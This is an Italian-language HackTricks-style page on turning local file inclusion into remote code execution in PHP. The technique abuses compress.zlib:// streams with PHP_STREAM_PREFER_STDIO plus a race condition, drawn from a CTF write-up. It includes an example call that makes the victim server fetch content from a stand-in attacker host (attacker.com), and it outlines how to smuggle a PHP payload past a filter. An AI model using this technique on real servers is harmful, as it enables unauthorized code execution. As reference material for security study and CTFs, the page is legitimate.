2.2 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{{#include ../../banners/hacktricks-training.md}}
compress.zlib://
e PHP_STREAM_PREFER_STDIO
Un file aperto utilizzando il protocollo compress.zlib://
con il flag PHP_STREAM_PREFER_STDIO
può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.
Questo significa che una chiamata come:
file_get_contents("compress.zlib://http://attacker.com/file")
Invierà una richiesta per http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.
Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition to RCE
Questo CTF è stato risolto utilizzando il trucco precedente.
L'attaccante farà in modo che il server vittima apra una connessione leggendo un file dal server dell'attaccante utilizzando il protocollo compress.zlib
.
Mentre questa connessione esiste, l'attaccante esfiltrerà il percorso del file temporaneo creato (è stato leakato dal server).
Mentre la connessione è ancora aperta, l'attaccante sfrutterà un LFI caricando il file temporaneo che controlla.
Tuttavia, c'è un controllo nel server web che impedisce il caricamento di file che contengono <?
. Pertanto, l'attaccante abuserà di una Race Condition. Nella connessione che è ancora aperta, l'attaccante invierà il payload PHP DOPO che il webserver ha controllato se il file contiene i caratteri vietati ma PRIMA che carichi il suo contenuto.
Per ulteriori informazioni, controlla la descrizione della Race Condition e del CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{{#include ../../banners/hacktricks-training.md}}